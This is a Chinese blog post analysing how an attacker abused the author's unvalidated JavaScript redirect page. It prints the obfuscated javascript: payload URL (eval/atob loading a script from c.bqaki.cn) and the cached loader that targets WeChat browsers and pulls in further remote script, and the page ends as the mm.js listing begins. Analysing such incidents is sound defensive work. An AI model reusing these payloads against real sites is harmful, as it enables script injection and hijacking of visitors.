<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width">
<meta name="theme-color" content="#222"><meta name="generator" content="Hexo 6.2.0">


  <link rel="apple-touch-icon" sizes="180x180" href="https://www.wulihub.com.cn/gc/Wez0VG/images/apple-touch-icon.png">
  <link rel="icon" type="image/png" sizes="32x32" href="https://www.wulihub.com.cn/gc/Wez0VG/images/favicon-32x32.png">
  <link rel="icon" type="image/png" sizes="16x16" href="https://www.wulihub.com.cn/gc/Wez0VG/images/favicon-16x16.png">
  <link rel="mask-icon" href="https://www.wulihub.com.cn/gc/Wez0VG/images/logo.svg" color="#222">

<link rel="stylesheet" href="https://www.wulihub.com.cn/gc/Wez0VG/css/main.css">



<link rel="stylesheet" href="https://npm.elemecdn.com/@fortawesome/fontawesome-free@6.1.1/css/all.min.css" integrity="sha256-DfWjNxDkM94fVBWx1H5BMMp0Zq7luBlV8QRcSES7s+0=" crossorigin="anonymous">
  <link rel="stylesheet" href="https://npm.elemecdn.com/animate.css@3.1.1/animate.min.css" integrity="sha256-PR7ttpcvz8qrF57fur/yAx1qXMFJeJFiA6pSzWi0OIE=" crossorigin="anonymous">

<script class="next-config" data-name="main" type="application/json">{"hostname":"nobige.cn","root":"/","images":"https://www.wulihub.com.cn/gc/Wez0VG/images","scheme":"Gemini","darkmode":false,"version":"8.12.2","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12},"copycode":{"enable":false,"style":null},"bookmark":{"enable":false,"color":"#222","save":"auto"},"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"stickytabs":false,"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"fadeInDown","post_body":"fadeInDown","coll_header":"fadeInLeft","sidebar":"fadeInUp"}},"prism":false,"i18n":{"placeholder":"Searching...","empty":"We didn't find any results for the search: ${query}","hits_time":"${hits} results found in ${time} ms","hits":"${hits} results found"},"path":"/search.xml","localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false}}</script><script src="https://www.wulihub.com.cn/gc/Wez0VG/js/config.js"></script>

    <meta name="description" content="故事 去年的时候博客针对第三方网址地址跳转做了一个html页面，来做跳转用！这样能一定程度减少博客的权重的流失！ 这个HTML跳转页面是纯JS实现的，页面上也没做安全判断！ 但是过了一段时间突然发现域名被微信封了，不在微信分享网页了~~~ 经过分享发现原来是有人恶意利用这个html跳转页面，跳转到菠菜网站！！ 博主发现后立即在这个页面中加了有效的判断，然后开始漫长的申请解封的道路！  链接1含有">
<meta property="og:type" content="article">
<meta property="og:title" content="如有乐享被黑跳转页面分析">
<meta property="og:url" content="https://nobige.cn/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/index.html">
<meta property="og:site_name" content="NoBige-JackCh3n">
<meta property="og:description" content="故事 去年的时候博客针对第三方网址地址跳转做了一个html页面，来做跳转用！这样能一定程度减少博客的权重的流失！ 这个HTML跳转页面是纯JS实现的，页面上也没做安全判断！ 但是过了一段时间突然发现域名被微信封了，不在微信分享网页了~~~ 经过分享发现原来是有人恶意利用这个html跳转页面，跳转到菠菜网站！！ 博主发现后立即在这个页面中加了有效的判断，然后开始漫长的申请解封的道路！  链接1含有">
<meta property="og:locale" content="en_US">
<meta property="og:image" content="https://blog-static.nobige.cn/gh/JackCh3n/n0bige/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/johnccc-SBPO8p4Uqdo-unsplash.jpg">
<meta property="og:image" content="https://blog-static.nobige.cn/gh/JackCh3n/n0bige/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/xiao2019-07-29-22-58-37-392.jpg">
<meta property="og:image" content="https://blog-static.nobige.cn/gh/JackCh3n/n0bige/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/xiao2019-07-29-23-32-37-672.jpg">
<meta property="article:published_time" content="2019-07-29T14:25:15.000Z">
<meta property="article:modified_time" content="2024-11-07T02:59:06.262Z">
<meta property="article:author" content="JackCh3n">
<meta property="article:tag" content="js">
<meta property="article:tag" content="跳转">
<meta property="article:tag" content="黑客">
<meta property="article:tag" content="黑产">
<meta property="article:tag" content="网络安全">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://blog-static.nobige.cn/gh/JackCh3n/n0bige/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/johnccc-SBPO8p4Uqdo-unsplash.jpg">


<link rel="canonical" href="https://nobige.cn/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/">



<script class="next-config" data-name="page" type="application/json">{"sidebar":"","isHome":false,"isPost":true,"lang":"en","comments":true,"permalink":"https://nobige.cn/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/","path":"post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/","title":"如有乐享被黑跳转页面分析"}</script>

<script class="next-config" data-name="calendar" type="application/json">""</script>
<title>如有乐享被黑跳转页面分析 | NoBige-JackCh3n</title>
  
  <script class="next-config" data-name="google_analytics" type="application/json">{"tracking_id":"UA-122817633-1","only_pageview":true}</script>
  <script src="https://www.wulihub.com.cn/gc/Wez0VG/js/third-party/analytics/google-analytics.js"></script>

  <script src="https://www.wulihub.com.cn/gc/Wez0VG/js/third-party/analytics/baidu-analytics.js"></script>
  <script async src="https://hm.baidu.com/hm.js?96741f92c07d010c0ddd1d02197893e2"></script>




  <noscript>
    <link rel="stylesheet" href="https://www.wulihub.com.cn/gc/Wez0VG/css/noscript.css">
  </noscript>
</head>

<body itemscope itemtype="http://schema.org/WebPage" class="use-motion">
  <div class="headband"></div>

  <main class="main">
    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="Toggle navigation bar" role="button">
        <span class="toggle-line"></span>
        <span class="toggle-line"></span>
        <span class="toggle-line"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <i class="logo-line"></i>
      <p class="site-title">NoBige-JackCh3n</p>
      <i class="logo-line"></i>
    </a>
      <p class="site-subtitle" itemprop="description">copy to my blog</p>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>



<nav class="site-nav">
  <ul class="main-menu menu"><li class="menu-item menu-item-home"><a href="/" rel="section"><i class="home fa-fw"></i>Home</a></li><li class="menu-item menu-item-about"><a href="/about/" rel="section"><i class="user fa-fw"></i>About</a></li><li class="menu-item menu-item-tags"><a href="/tags/" rel="section"><i class="tags fa-fw"></i>Tags</a></li><li class="menu-item menu-item-categories"><a href="/categories/" rel="section"><i class="th fa-fw"></i>Categories</a></li><li class="menu-item menu-item-archives"><a href="/archives/" rel="section"><i class="archive fa-fw"></i>Archives</a></li><li class="menu-item menu-item-sitemap"><a href="/sitemap.xml" rel="section"><i class="sitemap fa-fw"></i>Sitemap</a></li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>Search
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup"><div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off" maxlength="80"
           placeholder="Searching..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close" role="button">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div class="search-result-container no-result">
  <div class="search-result-icon">
    <i class="fa fa-spinner fa-pulse fa-5x"></i>
  </div>
</div>

    </div>
  </div>

</div>
        
  
  <div class="toggle sidebar-toggle" role="button">
    <span class="toggle-line"></span>
    <span class="toggle-line"></span>
    <span class="toggle-line"></span>
  </div>

  <aside class="sidebar">

    <div class="sidebar-inner sidebar-nav-active sidebar-toc-active">
      <ul class="sidebar-nav">
        <li class="sidebar-nav-toc">
          Table of Contents
        </li>
        <li class="sidebar-nav-overview">
          Overview
        </li>
      </ul>

      <div class="sidebar-panel-container">
        <!--noindex-->
        <div class="post-toc-wrap sidebar-panel">
            <div class="post-toc animated"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%95%85%E4%BA%8B"><span class="nav-number">1.</span> <span class="nav-text">故事</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E9%93%BE%E6%8E%A5"><span class="nav-number">2.</span> <span class="nav-text">链接</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E6%80%BB%E7%BB%93"><span class="nav-number">3.</span> <span class="nav-text">总结</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%8F%82%E8%80%83"><span class="nav-number">4.</span> <span class="nav-text">参考</span></a></li></ol></div>
        </div>
        <!--/noindex-->

        <div class="site-overview-wrap sidebar-panel">
          <div class="site-author site-overview-item animated" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="JackCh3n"
      src="https://www.wulihub.com.cn/gc/Wez0VG/images/avatar.png">
  <p class="site-author-name" itemprop="name">JackCh3n</p>
  <div class="site-description" itemprop="description">Record the pit filling process with words</div>
</div>
<div class="site-state-wrap site-overview-item animated">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
        <a href="/archives/">
          <span class="site-state-item-count">146</span>
          <span class="site-state-item-name">posts</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
          <a href="/categories/">
        <span class="site-state-item-count">42</span>
        <span class="site-state-item-name">categories</span></a>
      </div>
      <div class="site-state-item site-state-tags">
          <a href="/tags/">
        <span class="site-state-item-count">279</span>
        <span class="site-state-item-name">tags</span></a>
      </div>
  </nav>
</div>
  <div class="links-of-author site-overview-item animated">
      <span class="links-of-author-item">
        <a href="https://github.com/jackch3n" title="GitHub → https:&#x2F;&#x2F;github.com&#x2F;jackch3n" rel="noopener" target="_blank"><i class="github fa-fw"></i>GitHub</a>
      </span>
  </div>


  <div class="links-of-blogroll site-overview-item animated">
    <div class="links-of-blogroll-title"><i class="fa fa-globe fa-fw"></i>
      Links
    </div>
    <ul class="links-of-blogroll-list">
        <li class="links-of-blogroll-item">
          <a href="https://vercel.com/?f=nobige" title="https:&#x2F;&#x2F;vercel.com?f&#x3D;nobige" rel="noopener" target="_blank">vercel</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="https://www.jsdelivr.com/?f=nobige" title="https:&#x2F;&#x2F;www.jsdelivr.com?f&#x3D;nobige" rel="noopener" target="_blank">jsdelivr</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="https://www.upyun.com/?f=nobige" title="https:&#x2F;&#x2F;www.upyun.com?f&#x3D;nobige" rel="noopener" target="_blank">upyun</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="https://coding.net/?f=nobige" title="https:&#x2F;&#x2F;coding.net?f&#x3D;nobige" rel="noopener" target="_blank">coding</a>
        </li>
        <li class="links-of-blogroll-item">
          <a href="https://unsplash.com/?f=nobige" title="https:&#x2F;&#x2F;unsplash.com?f&#x3D;nobige" rel="noopener" target="_blank">unsplash</a>
        </li>
    </ul>
  </div>

        </div>
      </div>
    </div>
  </aside>
  <div class="sidebar-dimmer"></div>


    </header>

    
  <div class="back-to-top" role="button" aria-label="Back to top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>

<noscript>
  <div class="noscript-warning">Theme NexT works best with JavaScript enabled</div>
</noscript>


    <div class="main-inner post posts-expand">


  


<div class="post-block">
  
  

  <article itemscope itemtype="http://schema.org/Article" class="post-content" lang="en">
    <link itemprop="mainEntityOfPage" href="https://nobige.cn/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="https://www.wulihub.com.cn/gc/Wez0VG/images/avatar.png">
      <meta itemprop="name" content="JackCh3n">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="NoBige-JackCh3n">
      <meta itemprop="description" content="Record the pit filling process with words">
    </span>

    <span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
      <meta itemprop="name" content="如有乐享被黑跳转页面分析 | NoBige-JackCh3n">
      <meta itemprop="description" content="">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          如有乐享被黑跳转页面分析
        </h1>

        <div class="post-meta-container">
          <div class="post-meta">
    <span class="post-meta-item">
      <span class="post-meta-item-icon">
        <i class="far fa-calendar"></i>
      </span>
      <span class="post-meta-item-text">Posted on</span>

      <time title="Created: 2019-07-29 22:25:15" itemprop="dateCreated datePublished" datetime="2019-07-29T22:25:15+08:00">2019-07-29</time>
    </span>
    <span class="post-meta-item">
      <span class="post-meta-item-icon">
        <i class="far fa-calendar-check"></i>
      </span>
      <span class="post-meta-item-text">Edited on</span>
      <time title="Modified: 2024-11-07 10:59:06" itemprop="dateModified" datetime="2024-11-07T10:59:06+08:00">2024-11-07</time>
    </span>
    <span class="post-meta-item">
      <span class="post-meta-item-icon">
        <i class="far fa-folder"></i>
      </span>
      <span class="post-meta-item-text">In</span>
        <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
          <a href="/categories/%E6%8A%80%E5%B7%A7/" itemprop="url" rel="index"><span itemprop="name">技巧</span></a>
        </span>
    </span>

  
    <span class="post-meta-item" title="Views" id="busuanzi_container_page_pv">
      <span class="post-meta-item-icon">
        <i class="far fa-eye"></i>
      </span>
      <span class="post-meta-item-text">Views: </span>
      <span id="busuanzi_value_page_pv"></span>
    </span>
</div>

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">
        <p><img src="https://blog-static.nobige.cn/gh/JackCh3n/n0bige/post/20190729-ru_you_le_xiang_bei_hei_tiao_zhuan_ye_mian_fen_xi/johnccc-SBPO8p4Uqdo-unsplash.jpg" alt="Home decor"></p>
<h2 id="故事"><a href="#故事" class="headerlink" title="故事"></a>故事</h2><blockquote>
<p>去年的时候博客针对第三方网址地址跳转做了一个html页面，来做跳转用！这样能一定程度减少博客的权重的流失！</p>
<p>这个HTML跳转页面是纯JS实现的，页面上也没做安全判断！</p>
<p>但是过了一段时间突然发现域名被微信封了，不在微信分享网页了~~~</p>
<p>经过分享发现原来是有人恶意利用这个html跳转页面，跳转到菠菜网站！！</p>
<p>博主发现后立即在这个页面中加了有效的判断，然后开始漫长的申请解封的道路！</p>
</blockquote>
<h2 id="链接"><a href="#链接" class="headerlink" title="链接"></a>链接</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">含有恶意欺诈网页:  https://51.ruyo.net/go/index.html?u=javascript:parent[String.fromCharCode(101;118;97;108)](parent[String.fromCharCode(97;116;111;98)](&quot;ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPS8vYy5icWFraS5jbi94cy5qcz48L3NjcmlwdD4iKQ==&quot;));//241137/241137.html#pt_1520302119694 </span><br></pre></td></tr></table></figure>

<p>拆开得到javascript代码</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">javascript</span>:parent[<span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">101</span>;<span class="number">118</span>;<span class="number">97</span>;<span class="number">108</span>)](parent[<span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(<span class="number">97</span>;<span class="number">116</span>;<span class="number">111</span>;<span class="number">98</span>)](<span class="string">&quot;ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPS8vYy5icWFraS5jbi94cy5qcz48L3NjcmlwdD4iKQ==&quot;</span>));<span class="comment">//241137/241137.html#pt_1520302119694 </span></span><br><span class="line"></span><br><span class="line"><span class="comment">//parent() 方法返回被选元素的直接父元素。</span></span><br><span class="line"><span class="comment">//fromCharCode() 可接受一个指定的 Unicode 值，然后返回一个字符串。</span></span><br><span class="line"><span class="comment">//这个几个Unicode 值分别等于</span></span><br></pre></td></tr></table></figure>

<ul>
<li>101 &#x3D; e</li>
<li>118 &#x3D; v</li>
<li>97 &#x3D; a</li>
<li>108 &#x3D; l</li>
<li>97 &#x3D; a</li>
<li>116 &#x3D; t</li>
<li>111 &#x3D; o</li>
<li>98 &#x3D; b</li>
</ul>
<p>连起来,得到eval atob,猜测可能是js函数</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">eval</span>()<span class="comment">// 函数计算 JavaScript 字符串，并把它作为脚本代码来执行。</span></span><br><span class="line"><span class="title function_">atob</span>() <span class="comment">//方法用于解码使用 base-64 编码的字符串。</span></span><br></pre></td></tr></table></figure>

<p><code>ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPS8vYy5icWFraS5jbi94cy5qcz48L3NjcmlwdD4iKQ==</code></p>
<p>解码得到</p>
<p><code>document.write(&quot;&lt;script src=//c.bqaki.cn/xs.js&gt;&lt;/script&gt;&quot;)</code></p>
<p>我访问这个链接的时候已经是找不到这个ip地址了<em>（网站挂了）</em>但是在网上找到了缓存，估计是有人也是遭遇同样的情况然后用<strong>urlscan.io</strong> 扫描了一下</p>
<p>大概信息是</p>
<ul>
<li>扫描时间：2018年1月4日</li>
<li>服务器地址：天津 天津 , 中国</li>
</ul>
<p>完整的缓存js代码是</p>
<span id="more"></span>

<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> ua = navigator.<span class="property">userAgent</span>.<span class="title function_">toLowerCase</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addTitle</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="variable language_">document</span>.<span class="property">title</span> = <span class="string">&quot;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (<span class="regexp">/micromessenger/</span>.<span class="title function_">test</span>(ua)) &#123;</span><br><span class="line">	<span class="title function_">addTitle</span>();</span><br><span class="line">	<span class="keyword">var</span> new_doc = <span class="variable language_">document</span>.<span class="title function_">open</span>(<span class="string">&quot;text/html&quot;</span>, <span class="string">&quot;replace&quot;</span>);</span><br><span class="line">	<span class="keyword">var</span> html = <span class="built_in">unescape</span>(<span class="string">&quot;%3C%21DOCTYPE%20html%3E%0A%3Chtml%20style%3D%22font-size%3A%2040%25%3B%22%3E%0A%09%3Chead%3E%0A%09%09%3Cmeta%20charset%3D%22UTF-8%22%3E%0A%09%09%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2Cinitial-scale%3D1%2Cuser-scalable%3D0%2Cminimum-scale%3D1.0%2Cmaximum-scale%3D1.0%22%3E%0A%09%09%3Cmeta%20content%3D%22yes%22%20name%3D%22apple-mobile-web-app-capable%22%3E%0A%09%09%3Cmeta%20content%3D%22black%22%20name%3D%22apple-mobile-web-app-status-bar-style%22%3E%0A%09%09%3Cmeta%20content%3D%22no%22%20name%3D%22msapplication-tap-highlight%22%3E%0A%09%09%3Cmeta%20content%3D%22IE%3Dedge%22%20http-equiv%3D%22X-UA-Compatible%22%3E%0A%09%09%3Cmeta%20content%3D%22telephone%3Dno%22%20name%3D%22format-detection%22%3E%0A%09%09%3Cmeta%20content%3D%22email%3Dno%22%20name%3D%22format-detection%22%3E%0A%09%09%3Ctitle%3E%3C/title%3E%0A%09%09%3Cscript%20type%3D%22text/javascript%22%3E%0A%09%09%09var%20_hmt%20%3D%20_hmt%20%7C%7C%20%5B%5D%3B%3B%0A%09%09%09%28function%28%29%20%7B%0A%09%09%09%09var%20srcArr%20%3D%20%5B%22https%3A//cdn.bootcss.com/jquery/1.2.3/jquery.min.js%22%2C%22https%3A//s19.cnzz.com/z_stat.php%3Fid%3D1272904854%26web_id%3D1272904854%22%2C%20%22//c.bqaki.cn/mm.js%22%5D%3B%0A%09%09%09%09var%20hm%2C%20s%3B%0A%09%09%09%09for%28var%20i%20%3D%200%3B%20i%20%3C%20srcArr.length%3B%20i++%29%20%7B%0A%09%09%09%09%09hm%20%3D%20document.createElement%28%22script%22%29%3B%0A%09%09%09%09%09hm.src%20%3D%20srcArr%5Bi%5D%3B%0A%09%09%09%09%09hm.charset%20%3D%20%22utf-8%22%3B%0A%09%09%09%09%09s%20%3D%20document.getElementsByTagName%28%22script%22%29%5B0%5D%3B%0A%09%09%09%09%09s.parentNode.insertBefore%28hm%2C%20s%29%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%29%28%29%3B%0A%09%09%3C/script%3E%0A%09%3C/head%3E%0A%09%3Cbody%3E%0A%09%3C/body%3E%0A%0A%3C/html%3E&quot;</span>);</span><br><span class="line">	new_doc.<span class="title function_">write</span>(html);</span><br><span class="line">	new_doc.<span class="title function_">close</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>用到的几个函数</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">toLowerCase</span>() <span class="comment">//方法用于把字符串转换为小写。</span></span><br><span class="line"><span class="built_in">unescape</span>() <span class="comment">//函数可对通过 escape() 编码的字符串进行解码。</span></span><br></pre></td></tr></table></figure>

<p>解码后的html页面这个样子</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">style</span>=<span class="string">&quot;font-size: 40%;&quot;</span>&gt;</span></span><br><span class="line">	<span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width,initial-scale=1,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">meta</span> <span class="attr">content</span>=<span class="string">&quot;yes&quot;</span> <span class="attr">name</span>=<span class="string">&quot;apple-mobile-web-app-capable&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">meta</span> <span class="attr">content</span>=<span class="string">&quot;black&quot;</span> <span class="attr">name</span>=<span class="string">&quot;apple-mobile-web-app-status-bar-style&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">meta</span> <span class="attr">content</span>=<span class="string">&quot;no&quot;</span> <span class="attr">name</span>=<span class="string">&quot;msapplication-tap-highlight&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">meta</span> <span class="attr">content</span>=<span class="string">&quot;IE=edge&quot;</span> <span class="attr">http-equiv</span>=<span class="string">&quot;X-UA-Compatible&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">meta</span> <span class="attr">content</span>=<span class="string">&quot;telephone=no&quot;</span> <span class="attr">name</span>=<span class="string">&quot;format-detection&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">meta</span> <span class="attr">content</span>=<span class="string">&quot;email=no&quot;</span> <span class="attr">name</span>=<span class="string">&quot;format-detection&quot;</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">title</span>&gt;</span><span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">		<span class="tag">&lt;<span class="name">script</span> <span class="attr">type</span>=<span class="string">&quot;text/javascript&quot;</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">			<span class="keyword">var</span> _hmt = _hmt || [];;</span></span><br><span class="line"><span class="language-javascript">			(<span class="keyword">function</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">				<span class="keyword">var</span> srcArr = [<span class="string">&quot;https://cdn.bootcss.com/jquery/1.2.3/jquery.min.js&quot;</span>,<span class="string">&quot;https://s19.cnzz.com/z_stat.php?id=1272904854&amp;web_id=1272904854&quot;</span>, <span class="string">&quot;//c.bqaki.cn/mm.js&quot;</span>];</span></span><br><span class="line"><span class="language-javascript">				<span class="keyword">var</span> hm, s;</span></span><br><span class="line"><span class="language-javascript">				<span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; srcArr.<span class="property">length</span>; i++) &#123;</span></span><br><span class="line"><span class="language-javascript">					hm = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&quot;script&quot;</span>);</span></span><br><span class="line"><span class="language-javascript">					hm.<span class="property">src</span> = srcArr[i];</span></span><br><span class="line"><span class="language-javascript">					hm.<span class="property">charset</span> = <span class="string">&quot;utf-8&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">					s = <span class="variable language_">document</span>.<span class="title function_">getElementsByTagName</span>(<span class="string">&quot;script&quot;</span>)[<span class="number">0</span>];</span></span><br><span class="line"><span class="language-javascript">					s.<span class="property">parentNode</span>.<span class="title function_">insertBefore</span>(hm, s);</span></span><br><span class="line"><span class="language-javascript">				&#125;</span></span><br><span class="line"><span class="language-javascript">			&#125;)();</span></span><br><span class="line"><span class="language-javascript">		</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">	<span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line">	<span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">	<span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p>然后<code>c.bqaki.cn/mm.js</code>这个网站也挂掉了，恰巧<strong>urlscan.io</strong> 也缓存了</p>
<p>解密后的<code>mm.js</code></p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span 